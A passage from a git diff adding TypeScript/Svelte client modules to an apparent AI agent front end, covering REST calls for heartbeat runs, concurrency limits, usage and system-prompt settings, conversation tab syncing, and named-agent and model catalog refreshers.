+ const runs: readonly HeartbeatRun[] = normalizeHeartbeatRuns(await res.json());
+ return { ok: true, runs };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Heartbeat runs request failed",
+ };
+ }
+ },
+
+ async stopHeartbeatRun(runId: string): Promise<HeartbeatStopResult> {
+ const wsId = untrack(deps.activeWorkspaceId);
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat/runs/${encodeURIComponent(runId)}/stop`,
+ { method: "POST" },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Stop heartbeat run failed (HTTP ${res.status})`,
+ };
+ }
+ return { ok: true };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Stop heartbeat run request failed",
+ };
+ }
+ },
+
+ async heartbeatNextRun(): Promise<HeartbeatNextRunResult> {
+ const wsId = untrack(deps.activeWorkspaceId);
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat/next-run`,
+ );
+ if (!res.ok) {
+ // 404 = the backend hasn't shipped CR-HB-3 yet → the FE falls back to
+ // an approximation. Surface as ok:false (non-fatal).
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Heartbeat next-run failed (HTTP ${res.status})`,
+ };
+ }
+ const data = (await res.json().catch(() => null)) as { nextRunAt?: string | null } | null;
+ // `null` (disabled / no run scheduled) passes through; anything non-string
+ // also becomes null so a malformed body can't crash the countdown.
+ const raw = data?.nextRunAt;
+ const nextRunAt = typeof raw === "string" ? raw : null;
+ return { ok: true, nextRunAt };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Heartbeat next-run request failed",
+ };
+ }
+ },
+ async concurrencyLimits(): Promise<ConcurrencyLimitsResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/concurrency/limits`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Concurrency limits failed (HTTP ${res.status})`,
+ };
+ }
+ // Normalize the untyped JSON at the network seam (pure helper) so a
+ // malformed/partial response (e.g. the extension returning `{}`) can
+ // never crash the renderer.
+ const limits = normalizeConcurrencyLimits(await res.json());
+ return { ok: true, limits };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Concurrency limits request failed",
+ };
+ }
+ },
+
+ async getConcurrencyLimit(providerId: string): Promise<ConcurrencyLimitResult> {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/concurrency/limits/${encodeURIComponent(providerId)}`,
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Concurrency limit failed (HTTP ${res.status})`,
+ };
+ }
+ const limit = normalizeConcurrencyLimit(await res.json());
+ if (limit === null) {
+ return { ok: false, error: "Malformed concurrency limit response" };
+ }
+ return { ok: true, providerId: limit.providerId, limit: limit.limit };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Concurrency limit request failed",
+ };
+ }
+ },
+
+ async setConcurrencyLimit(providerId: string, limit: number): Promise<ConcurrencyLimitResult> {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/concurrency/limits/${encodeURIComponent(providerId)}`,
+ {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify({ limit }),
+ },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set concurrency limit failed (HTTP ${res.status})`,
+ };
+ }
+ const echoed = normalizeConcurrencyLimit(await res.json());
+ if (echoed === null) {
+ return { ok: false, error: "Malformed concurrency limit response" };
+ }
+ return { ok: true, providerId: echoed.providerId, limit: echoed.limit };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set concurrency limit request failed",
+ };
+ }
+ },
+
+ async deleteConcurrencyLimit(providerId: string): Promise<ConcurrencyDeleteResult> {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/concurrency/limits/${encodeURIComponent(providerId)}`,
+ { method: "DELETE" },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Delete concurrency limit failed (HTTP ${res.status})`,
+ };
+ }
+ return { ok: true, providerId };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Delete concurrency limit request failed",
+ };
+ }
+ },
+
+ async accountUsage(opts?: { readonly refresh?: boolean }): Promise<AccountUsageResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/usage${opts?.refresh ? "?refresh=1" : ""}`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Account usage failed (HTTP ${res.status})`,
+ ...(res.status === 503 ? { unavailable: true } : {}),
+ };
+ }
+ return { ok: true, usage: normalizeAccountUsage(await res.json(), Date.now()) };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Account usage request failed",
+ };
+ }
+ },
+
+ async setAccountUsageSettings(
+ provider: AccountUsageProviderId,
+ settings: UpdateAccountUsageSettingsRequest,
+ ): Promise<AccountUsageSettingsResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/usage/${encodeURIComponent(provider)}/settings`, {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(settings),
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Save usage settings failed (HTTP ${res.status})`,
+ };
+ }
+ const report = normalizeAccountUsageReport(await res.json());
+ return report
+ ? { ok: true, report }
+ : { ok: false, error: "Malformed usage settings response" };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Save usage settings request failed",
+ };
+ }
+ },
+
+ async concurrencyStatus(): Promise<ConcurrencyStatusResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/concurrency/status`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Concurrency status failed (HTTP ${res.status})`,
+ };
+ }
+ const providers = normalizeConcurrencyStatus(await res.json());
+ return { ok: true, providers };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Concurrency status request failed",
+ };
+ }
+ },
+
+ async searchBackendConfig(): Promise<SearchBackendConfigResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/search/config`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Search config failed (HTTP ${res.status})`,
+ // The 503 degrade = the backend's search-config service not loaded
+ // (the tool-web-search extension absent) — a distinct UI state.
+ ...(res.status === 503 ? { unavailable: true } : {}),
+ };
+ }
+ // Normalize the untyped JSON at this network seam (pure helper) so a
+ // malformed/partial response can never crash the renderer.
+ const config = normalizeSearchBackendConfig(await res.json());
+ return { ok: true, config };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Search config request failed",
+ };
+ }
+ },
+
+ async setSearchBackend(backend: string): Promise<SearchBackendConfigResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/search/config`, {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify({ backend }),
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set search backend failed (HTTP ${res.status})`,
+ ...(res.status === 503 ? { unavailable: true } : {}),
+ };
+ }
+ const config = normalizeSearchBackendConfig(await res.json());
+ return { ok: true, config };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set search backend request failed",
+ };
+ }
+ },
+
+ async getConcurrencyCooldown(providerId: string): Promise<ConcurrencyCooldownResult> {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/concurrency/cooldown/${encodeURIComponent(providerId)}`,
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Get concurrency cooldown failed (HTTP ${res.status})`,
+ };
+ }
+ const data = normalizeConcurrencyCooldown(await res.json());
+ if (data === null) {
+ return { ok: false, error: "Malformed concurrency cooldown response" };
+ }
+ return { ok: true, providerId: data.providerId, cooldownMs: data.cooldownMs };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Get concurrency cooldown request failed",
+ };
+ }
+ },
+
+ async setConcurrencyCooldown(
+ providerId: string,
+ cooldownMs: number,
+ ): Promise<ConcurrencyCooldownResult> {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/concurrency/cooldown/${encodeURIComponent(providerId)}`,
+ {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify({ cooldownMs }),
+ },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set concurrency cooldown failed (HTTP ${res.status})`,
+ };
+ }
+ const data = normalizeConcurrencyCooldown(await res.json());
+ if (data === null) {
+ return { ok: false, error: "Malformed concurrency cooldown response" };
+ }
+ return { ok: true, providerId: data.providerId, cooldownMs: data.cooldownMs };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set concurrency cooldown request failed",
+ };
+ }
+ },
+
+ async loadSystemPrompt(): Promise<SystemPromptLoadResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/system-prompt`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Load system prompt failed (HTTP ${res.status})`,
+ };
+ }
+ const data = (await res.json()) as SystemPromptTemplateResponse;
+ return { ok: true, template: data.template ?? "" };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Load system prompt request failed",
+ };
+ }
+ },
+
+ async setSystemPrompt(template: string): Promise<SystemPromptSaveResult> {
+ try {
+ const body: SetSystemPromptTemplateRequest = { template };
+ const res = await fetchImpl(`${httpBase}/system-prompt`, {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(body),
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set system prompt failed (HTTP ${res.status})`,
+ };
+ }
+ const data = (await res.json()) as SystemPromptTemplateResponse;
+ return { ok: true, template: data.template };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set system prompt request failed",
+ };
+ }
+ },
+
+ async loadSystemPromptVariables(): Promise<SystemPromptVariablesResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/system-prompt/variables`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Load system prompt variables failed (HTTP ${res.status})`,
+ };
+ }
+ const data = (await res.json()) as Partial<SystemPromptVariablesResponse>;
+ return { ok: true, variables: Array.isArray(data.variables) ? data.variables : [] };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Load system prompt variables request failed",
+ };
+ }
+ },
+ };
+}
diff --git a/src/app/open-conversations.svelte.ts b/src/app/open-conversations.svelte.ts
new file mode 100644
index 0000000..9c8c25b
--- /dev/null
+++ b/src/app/open-conversations.svelte.ts
@@ -0,0 +1,288 @@
+import type {
+ ConversationListResponse,
+ SetTabGroupRequest,
+ SetTitleRequest,
+ TabGroupResponse,
+} from "@dispatch/transport-contract";
+import type { ConversationStatus } from "@dispatch/wire";
+import type { ConversationCache } from "../features/conversation-cache";
+import type { TabsStore } from "../features/tabs";
+
+import type { ChatRegistry } from "./chat-registry.svelte";
+import type { createConversationSettings } from "./conversation-settings.svelte";
+
+/** Cross-device tab discovery/reconciliation and backend lifecycle status. */
+export function createOpenConversations(deps: {
+ httpBase: string;
+ fetchImpl: typeof fetch;
+ tabsStore: TabsStore;
+ registry: ChatRegistry;
+ cache: ConversationCache;
+ activeModel: () => string;
+ settings: ReturnType<typeof createConversationSettings>;
+ syncSubscriptions: () => void;
+ reportError: (context: string, err: unknown) => void;
+}) {
+ const { httpBase, fetchImpl, tabsStore, registry, cache } = deps;
+ /**
+ * Tell the backend the user EXPLICITLY closed this conversation's tab
+ * (`POST /conversations/:id/close`): aborts any in-flight turn (it seals with
+ * `reason: "aborted"`) and stops + DISABLES its cache-warming (persisted OFF).
+ * Distinct from a disconnect / `chat.unsubscribe`, which deliberately leave
+ * both running. Fire-and-forget: a failure is non-fatal (worst case the
+ * warming keeps running until a later close/toggle), and the endpoint is
+ * idempotent server-side.
+ */
+ function closeConversation(conversationId: string): void {
+ void fetchImpl(`${httpBase}/conversations/${encodeURIComponent(conversationId)}/close`, {
+ method: "POST",
+ }).catch((err) => {
+ deps.reportError("Failed to close conversation", err);
+ });
+ }
+
+ /**
+ * Open a conversation tab — used by the `conversation.open` WS broadcast
+ * (CLI `--open` flag) and by `conversation.statusChanged` when a new active
+ * conversation is discovered. If the conversation is already open, this is a
+ * no-op; otherwise create a chat store, subscribe to its live
+ * turns, and add the tab WITHOUT switching the active conversation (the user
+ * stays on their current tab; the new tab appears in the strip). The tab is
+ * stamped with the conversation's actual `workspaceId`, NOT the viewer's
+ * currently active workspace.
+ */
+ function openConversation(
+ conversationId: string,
+ workspaceId: string,
+ model?: string,
+ tabGroupParentId?: string,
+ ): void {
+ if (registry.chatStores.has(conversationId)) return;
+ // Stamp the tab with the conversation's PERSISTED model when the open
+ // broadcast carries it (falling back to the current global selection) —
+ // never let the globally-active model overwrite a conversation's real one
+ // (fix-toolcall-duplicate-keys plan Part 4).
+ const tabModel = model ?? deps.activeModel();
+ const store =
+ registry.watchStores.get(conversationId) ??
+ registry.createChatFor(conversationId, tabModel, workspaceId);
+ registry.watchStores.delete(conversationId);
+ store.setModel(tabModel);
+ registry.chatStores.set(conversationId, store);
+ registry.subscribeChat(conversationId);
+ tabsStore.openTab({
+ conversationId,
+ model: tabModel,
+ title: "Conversation",
+ workspaceId,
+ ...(tabGroupParentId !== undefined ? { tabGroupParentId } : {}),
+ });
+ }
+
+ /**
+ * Remove a tab + its chat store locally (NO `POST /close` — used when the
+ * backend already marked the conversation `closed` via `conversation.statusChanged`).
+ */
+ function removeTabLocally(conversationId: string): void {
+ registry.unsubscribeChat(conversationId);
+ const store = registry.chatStores.get(conversationId);
+ if (store !== undefined) {
+ store.dispose();
+ registry.chatStores.delete(conversationId);
+ }
+ registry.loadedConversationIds.delete(conversationId);
+ void cache.delete(conversationId);
+ tabsStore.closeTab(conversationId);
+ conversationStatuses.delete(conversationId);
+ registry.refreshActiveChat();
+ deps.syncSubscriptions();
+ void deps.settings.refreshCwd();
+ void deps.settings.refreshComputer();
+ void deps.settings.refreshReasoningEffort();
+ void deps.settings.refreshThinking();
+ void deps.settings.refreshCompactPercent();
+ }
+
+ // Conversation lifecycle status (backend-owned, pushed via WS +
+ // fetched on connect). Keyed by conversationId.
+ let conversationStatuses = $state<Map<string, ConversationStatus>>(new Map());
+
+ // The set of workspaces with ≥1 active/queued conversation, derived ONCE
+ // (not recomputed per card). Every active/queued conversation has an open
+ // tab stamped with its workspace, so the tabs are the conversation→workspace
+ // map; cross-reference with the lifecycle statuses. `$derived` recomputes
+ // lazily when the tab set or status map changes, so each
+ // `workspaceHasActiveConversations` call is an O(1) lookup instead of a scan
+ // of the full tab list per card.
+ const activeWorkspaces = $derived.by(() => {
+ const out = new Set<string>();
+ for (const tab of tabsStore.tabs) {
+ const status = conversationStatuses.get(tab.conversationId);
+ if (status === "active" || status === "queued") out.add(tab.workspaceId);
+ }
+ return out;
+ });
+
+ /**
+ * Fetch `GET /conversations?status=active,idle` on connect to restore the
+ * tab bar across devices. Merges: opens tabs for conversations not already
+ * open, removes tabs for conversations that are no longer active/idle
+ * (closed on another device), and subscribes to `active` conversations'
+ * live streams.
+ */
+ let pendingFetch: Promise<void> | undefined;
+ function fetchOpenConversations(): Promise<void> {
+ pendingFetch ??= loadOpenConversations().finally(() => {
+ pendingFetch = undefined;
+ });
+ return pendingFetch;
+ }
+
+ async function loadOpenConversations(): Promise<void> {
+ try {
+ const res = await fetchImpl(`${httpBase}/conversations?status=active,idle`);
+ if (!res.ok) return;
+ const data = (await res.json()) as ConversationListResponse;
+
+ if (!data || !Array.isArray(data.conversations)) {
+ deps.reportError(
+ "Failed to load open conversations",
+ new Error("Invalid conversations response"),
+ );
+ return;
+ }
+ // Update the status map from the authoritative backend list.
+ const newStatuses = new Map<string, ConversationStatus>();
+ for (const conv of data.conversations) {
+ newStatuses.set(conv.id, conv.status);
+ }
+ conversationStatuses = newStatuses;
+
+ // Open tabs for conversations not already open.
+ const existingIds = new Set(registry.chatStores.keys());
+ for (const conv of data.conversations) {
+ if (!existingIds.has(conv.id)) {
+ // Stamp the tab with the conversation's PERSISTED model (when the
+ // list carries it) instead of the global active model — the fix for
+ // tabs showing/overwriting the wrong model
+ // (fix-toolcall-duplicate-keys plan Part 4).
+ const model = conv.model ?? deps.activeModel();
+ const store =
+ registry.watchStores.get(conv.id) ??
+ registry.createChatFor(conv.id, model, conv.workspaceId);
+ registry.watchStores.delete(conv.id);
+ store.setModel(model);
+ registry.chatStores.set(conv.id, store);
+ // Seed the cache timer's turn gap (only an idle conversation is waiting on the user).
+ if (conv.status === "idle") store.noteLastActivity(conv.lastActivityAt);
+ registry.subscribeChat(conv.id);
+ tabsStore.openTab({
+ conversationId: conv.id,
+ model,
+ title: conv.title,
+ workspaceId: conv.workspaceId,
+ ...(conv.tabGroupParentId !== undefined
+ ? { tabGroupParentId: conv.tabGroupParentId }
+ : {}),
+ });
+ } else {
+ // Already open — reconcile title + workspace from the authoritative
+ // backend list. A raced `conversation.open` (summon) may have stamped
+ // the tab with the wrong workspace ("default"); the backend's
+ // authoritative conversation record is the source of truth, so a
+ // differing tab workspace is corrected here.
+ tabsStore.setTitle(conv.id, conv.title);
+ // Seed the cache timer's turn gap from the backend (a tab restored
+ // from localStorage at boot has no live `done` to go by). Only an
+ // idle conversation is waiting on the user.
+ if (conv.status === "idle")
+ registry.chatStores.get(conv.id)?.noteLastActivity(conv.lastActivityAt);
+ const tab = tabsStore.tabs.find((t) => t.conversationId === conv.id);
+ if (tab?.workspaceId !== conv.workspaceId) {
+ tabsStore.setWorkspaceId(conv.id, conv.workspaceId);
+ }
+ // The backend's EFFECTIVE tab group parent is authoritative too.
+ if (tab?.tabGroupParentId !== conv.tabGroupParentId) {
+ tabsStore.setTabGroupParent(conv.id, conv.tabGroupParentId ?? null);
+ }
+ }
+ }
+
+ // Remove tabs for conversations no longer active/idle (closed elsewhere).
+ const backendIds = new Set(data.conversations.map((c) => c.id));
+ for (const tab of tabsStore.tabs) {
+ if (
+ !backendIds.has(tab.conversationId) &&
+ !registry.chatStores.get(tab.conversationId)?.pendingInputs.length
+ ) {
+ removeTabLocally(tab.conversationId);
+ }
+ }
+ registry.refreshActiveChat();
+ } catch (err) {
+ deps.reportError(
+ `Failed to load conversations from the backend.\n\nURL: ${httpBase}/conversations?status=active,idle`,
+ err,
+ );
+ }
+ }
+
+ return {
+ closeConversation,
+ openConversation,
+ removeTabLocally,
+ fetchOpenConversations,
+ renameTab(conversationId: string, title: string): void {
+ tabsStore.setTitle(conversationId, title);
+ void fetchImpl(`${httpBase}/conversations/${encodeURIComponent(conversationId)}/title`, {
+ method: "PUT",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ title } satisfies SetTitleRequest),
+ }).catch((err) => {
+ deps.reportError("Failed to rename conversation", err);
+ });
+ },
+
+ setTabGroup(conversationId: string, parentId: string | null): void {
+ const previous =
+ tabsStore.tabs.find((t) => t.conversationId === conversationId)?.tabGroupParentId ?? null;
+ tabsStore.setTabGroupParent(conversationId, parentId);
+ void (async () => {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/conversations/${encodeURIComponent(conversationId)}/tab-group`,
+ {
+ method: "PUT",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ parentId } satisfies SetTabGroupRequest),
+ },
+ );
+ if (!res.ok) {
+ const err = (await res.json().catch(() => null)) as { error?: string } | null;
+ throw new Error(err?.error ?? `HTTP ${res.status}`);
+ }
+ const body = (await res.json()) as TabGroupResponse;
+ tabsStore.setTabGroupParent(conversationId, body.tabGroupParentId);
+ } catch (err) {
+ // Revert the optimistic move, then surface the failure.
+ tabsStore.setTabGroupParent(conversationId, previous);
+ deps.reportError("Failed to update the tab's subagent group", err);
+ }
+ })();
+ },
+
+ get conversationStatuses() {
+ return conversationStatuses;
+ },
+ set conversationStatuses(value: Map<string, ConversationStatus>) {
+ conversationStatuses = value;
+ },
+ conversationStatus(conversationId: string): ConversationStatus | undefined {
+ return conversationStatuses.get(conversationId);
+ },
+ workspaceHasActiveConversations(workspaceId: string): boolean {
+ return activeWorkspaces.has(workspaceId);
+ },
+ };
+}
+export type OpenConversations = ReturnType<typeof createOpenConversations>;
diff --git a/src/app/settings-refreshers.svelte.ts b/src/app/settings-refreshers.svelte.ts
new file mode 100644
index 0000000..fb68895
--- /dev/null
+++ b/src/app/settings-refreshers.svelte.ts
@@ -0,0 +1,257 @@
+import type {
+ ComputerListResponse,
+ ModelMetadata,
+ ModelsResponse,
+} from "@dispatch/transport-contract";
+import type { ComputerEntry } from "@dispatch/wire";
+import type {
+ NamedAgent,
+ NamedAgentDeleteResult,
+ NamedAgentInput,
+ NamedAgentSaveResult,
+ NamedAgentsResult,
+} from "../features/named-agents";
+import { normalizeNamedAgentRecord, normalizeNamedAgents } from "../features/named-agents";
+
+/** Replace-or-append a Named Agent into a list (immutably), keyed by id. */
+function upsertNamedAgentList(
+ agents: readonly NamedAgent[],
+ agent: NamedAgent,
+): readonly NamedAgent[] {
+ const idx = agents.findIndex((a) => a.id === agent.id);
+ if (idx === -1) return [...agents, agent];
+ return agents.map((a) => (a.id === agent.id ? agent : a));
+}
+
+/** Workspace catalogs, global settings discovery and Named Agent records. */
+export function createSettingsRefreshers(deps: {
+ httpBase: string;
+ fetchImpl: typeof fetch;
+ activeWorkspaceId: () => string;
+ reportError: (context: string, err: unknown) => void;
+}) {
+ const { httpBase, fetchImpl } = deps;
+ let models = $state<readonly string[]>([]);
+ let modelInfo = $state<Readonly<Record<string, ModelMetadata>>>({});
+ // Discovered SSH computers (`GET /computers`). Global (like `models`); empty
+ // until the `ssh` extension lands. Read-only — no CRUD (the user edits their
+ // `~/.ssh/config`).
+ let computers = $state<readonly ComputerEntry[]>([]);
+ // The persisted Named Agents (global user config). Seeded from the backend on
+ // boot + kept in sync by the CRUD methods; drives both the sidebar editor and
+ // the synthetic model-selector provider.
+ let namedAgents = $state<readonly NamedAgent[]>([]);
+ /**
+ * Loaded provider-tier plugins effectively enabled in the ACTIVE workspace
+ * (`GET /workspaces/:id/plugins/providers-status`, plan 06 §6.5). `null` =
+ * unknown (not fetched yet / endpoint missing) — the first-boot guardrail
+ * shows only on a confident `0` (§7).
+ */
+ let enabledProviderCount = $state<number | null>(null);
+
+ /** Replace-or-append a Named Agent into the reactive list (immutably). */
+ function upsertNamedAgent(agent: NamedAgent): void {
+ namedAgents = upsertNamedAgentList(namedAgents, agent);
+ }
+
+ /**
+ * Refetch the model catalog for the ACTIVE workspace
+ * (`GET /models?workspaceId=`, plan 06 §6.5 — workspace-aware; a backend
+ * without the param returns the global catalog, which stays correct).
+ * Re-run on boot, on every workspace switch, and on `extensions-changed`
+ * (a provider toggled in another client updates the picker here too).
+ */
+ async function refreshModels(): Promise<void> {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/models?workspaceId=${encodeURIComponent(deps.activeWorkspaceId())}`,
+ );
+ if (!res.ok) return;
+ const data = (await res.json()) as ModelsResponse;
+ // Defensive: a malformed/SPA-fallback response must never poison the
+ // picker with a non-array (the old boot chain had the same exposure).
+ if (!Array.isArray(data.models)) return;
+ models = data.models;
+ modelInfo = data.modelInfo ?? {};
+ } catch (err) {
+ deps.reportError("Failed to load model list", err);
+ }
+ }
+
+ /**
+ * Refetch the active workspace's provider status (the §6.5 first-boot
+ * guardrail signal). Guarded against a slow response losing a race with a
+ * workspace switch (only the CURRENT workspace's result lands). Non-JSON
+ * 200 (SPA fallback — endpoint not shipped) leaves it null (no prompt).
+ */
+ async function refreshProviderStatus(): Promise<void> {
+ const workspaceId = deps.activeWorkspaceId();
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/workspaces/${encodeURIComponent(workspaceId)}/plugins/providers-status`,
+ );
+ if (!res.ok) {
+ if (workspaceId === deps.activeWorkspaceId()) enabledProviderCount = null;
+ return;
+ }
+ const contentType = res.headers.get("content-type") ?? "";
+ if (!contentType.includes("application/json")) return;
+ const data = (await res.json()) as { enabledProviderCount?: number };
+ if (workspaceId === deps.activeWorkspaceId()) {
+ enabledProviderCount =
+ typeof data.enabledProviderCount === "number" ? data.enabledProviderCount : null;
+ }
+ } catch {
+ // Non-fatal: the guardrail just stays hidden (null) when the endpoint
+ // is unreachable.
+ if (workspaceId === deps.activeWorkspaceId()) enabledProviderCount = null;
+ }
+ }
+
+ function loadGlobalCatalogs(): void {
+ // Fetch the discovered-computer catalog (global, like models). Empty until
+ // the `ssh` extension lands — a safe no-op until then (the selector shows
+ // "Local (none)" only). Non-fatal: a failure leaves an empty list.
+ void fetchImpl(`${httpBase}/computers`)
+ .then((res) => {
+ if (!res.ok) return { computers: [] } as ComputerListResponse;
+ return res.json() as Promise<ComputerListResponse>;
+ })
+ .then((data) => {
+ computers = data?.computers ?? [];
+ })
+ .catch((err) => {
+ deps.reportError("Failed to load computer list", err);
+ });
+
+ // Fetch the persisted Named Agents (global user config). Seeded on boot so the
+ // sidebar editor + the synthetic model-selector provider have data immediately.
+ // Non-fatal: a failure leaves an empty list (the user can add agents).
+ void fetchImpl(`${httpBase}/named-agents`)
+ .then((res) => {
+ if (!res.ok) return { namedAgents: [] } as { namedAgents: NamedAgent[] };
+ return res.json() as Promise<{ namedAgents: NamedAgent[] }>;
+ })
+ .then((data) => {
+ namedAgents = normalizeNamedAgents(data);
+ })
+ .catch((err) => {
+ deps.reportError("Failed to load named agents", err);
+ });
+ }
+
+ return {
+ refreshModels,
+ refreshProviderStatus,
+ loadGlobalCatalogs,
+ get models() {
+ return models;
+ },
+ get modelInfo() {
+ return modelInfo;
+ },
+ get computers() {
+ return computers;
+ },
+ get namedAgents() {
+ return namedAgents;
+ },
+ get enabledProviderCount() {
+ return enabledProviderCount;
+ },
+ async refreshNamedAgents(): Promise<NamedAgentsResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/named-agents`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Named agents failed (HTTP ${res.status})`,
+ };
+ }
+ const agents = normalizeNamedAgents(await res.json());
+ namedAgents = agents;
+ return { ok: true, agents };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Named agents request failed",
+ };
+ }
+ },
+
+ async createNamedAgent(input: NamedAgentInput): Promise<NamedAgentSaveResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/named-agents`, {
+ method: "POST",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(input),
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Create named agent failed (HTTP ${res.status})`,
+ };
+ }
+ const agent = normalizeNamedAgentRecord(await res.json());
+ if (agent === null) return { ok: false, error: "Malformed named agent response" };
+ upsertNamedAgent(agent);
+ return { ok: true, agent };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Create named agent request failed",
+ };
+ }
+ },
+
+ async updateNamedAgent(id: string, input: NamedAgentInput): Promise<NamedAgentSaveResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/named-agents/${encodeURIComponent(id)}`, {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(input),
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Update named agent failed (HTTP ${res.status})`,
+ };
+ }
+ const agent = normalizeNamedAgentRecord(await res.json());
+ if (agent === null) return { ok: false, error: "Malformed named agent response" };
+ upsertNamedAgent(agent);
+ return { ok: true, agent };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Update named agent request failed",
+ };
+ }
+ },
+
+ async deleteNamedAgent(id: string): Promise<NamedAgentDeleteResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/named-agents/${encodeURIComponent(id)}`, {
+ method: "DELETE",
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Delete named agent failed (HTTP ${res.status})`,
+ };
+ }
+ namedAgents = namedAgents.filter((a) => a.id !== id);
+ return { ok: true };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Delete named agent request failed",
+ };
+ }
